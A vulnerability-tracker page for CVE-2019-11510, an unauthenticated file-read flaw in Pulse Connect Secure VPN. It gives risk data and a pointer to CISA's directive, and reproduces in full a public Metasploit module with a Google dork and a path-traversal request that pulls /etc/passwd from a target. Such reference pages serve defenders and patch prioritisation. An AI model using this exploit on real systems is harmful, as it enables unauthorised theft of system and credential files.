CVE-2019-11510

unknown KEV
Published 2021-11-03 ยท Modified 2021-11-03
CVSS v3
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CVSS v4 NEW
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not yet in upstream
VIR risk
2.5

Description

Ivanti Pulse Connect Secure contains an arbitrary file read vulnerability that allows an unauthenticated remote attacker with network access via HTTPS to send a specially crafted URI.

CISA KEV

Vendor
Ivanti
Product
Pulse Connect Secure
Due date
2022-05-03

Predictions

Exploit likelihood
99%
Patch ETA
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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

vendor Authored 2026-05-27
{Vendor advisory: cisa-kev โ€” Reference CISA's ED 21-03 (https://www.cisa.gov/news-events/directives/ed-21-03-mitigate-pulse-connect-secure-product-vulnerabilities) for further guidance and requirements. Note: The due date for addressing this vulnerability aligns with the requirements outlined in ED 21-03. https://nvd.nist.gov/vuln/detail/CVE-2019-11510}

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-47297 webapps multiple ruby ยท 2 KB
Alyssa Herrera ยท 2019-08-21

Pulse Secure 8.1R15.1/8.2/8.3/9.0 SSL VPN - Arbitrary File Disclosure (Metasploit)

ruby exploit Source: Exploit-DB
# Exploit Title: File disclosure in Pulse Secure SSL VPN (metasploit)
# Google Dork: inurl:/dana-na/ filetype:cgi
# Date: 8/20/2019
# Exploit Author: 0xDezzy (Justin Wagner), Alyssa Herrera
# Vendor Homepage: https://pulsesecure.net
# Version: 8.1R15.1, 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4
# Tested on: Linux
# CVE : CVE-2019-11510 
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
	include Msf::Exploit::Remote::HttpClient
	include Msf::Post::File
	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Pulse Secure - System file leak',
			'Description'    => %q{
				Pulse Secure SSL VPN file disclosure via specially crafted HTTP resource requests.
        This exploit reads /etc/passwd as a proof of concept
        This vulnerability affect ( 8.1R15.1, 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4
			},
			'References'     =>
			    [
			        [ 'URL', 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11510' ]
			    ],
			'Author'         => [ '0xDezzy (Justin Wagner), Alyssa Herrera' ],
			'License'        => MSF_LICENSE,
			 'DefaultOptions' =>
		      {
		        'RPORT' => 443,
		        'SSL' => true
		      },
			))

	end


	def run()
		print_good("Checking target...")
		res = send_request_raw({'uri'=>'/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/'},1342)

		if res && res.code == 200
			print_good("Target is Vulnerable!")
			data = res.body
			current_host = datastore['RHOST']
			filename = "msf_sslwebsession_"+current_host+".bin"
			File.delete(filename) if File.exist?(filename)
			file_local_write(filename, data)
			print_good("Parsing file.......")
			parse()
		else
			if(res && res.code == 404)
				print_error("Target not Vulnerable")
			else
				print_error("Ooof, try again...")
			end
		end
	end
	def parse()
		current_host = datastore['RHOST']

	    fileObj = File.new("msf_sslwebsession_"+current_host+".bin", "r")
	    words = 0
	    while (line = fileObj.gets)
	    	printable_data = line.gsub(/[^[:print:]]/, '.')
	    	array_data = printable_data.scan(/.{1,60}/m)
	    	for ar in array_data
	    		if ar != "............................................................"
	    			print_good(ar)
	    		end
	    	end
	    	#print_good(printable_data)

		end
		fileObj.close
	end
end

Metasploit modules

Pulse Secure VPN Arbitrary File Disclosure
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References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.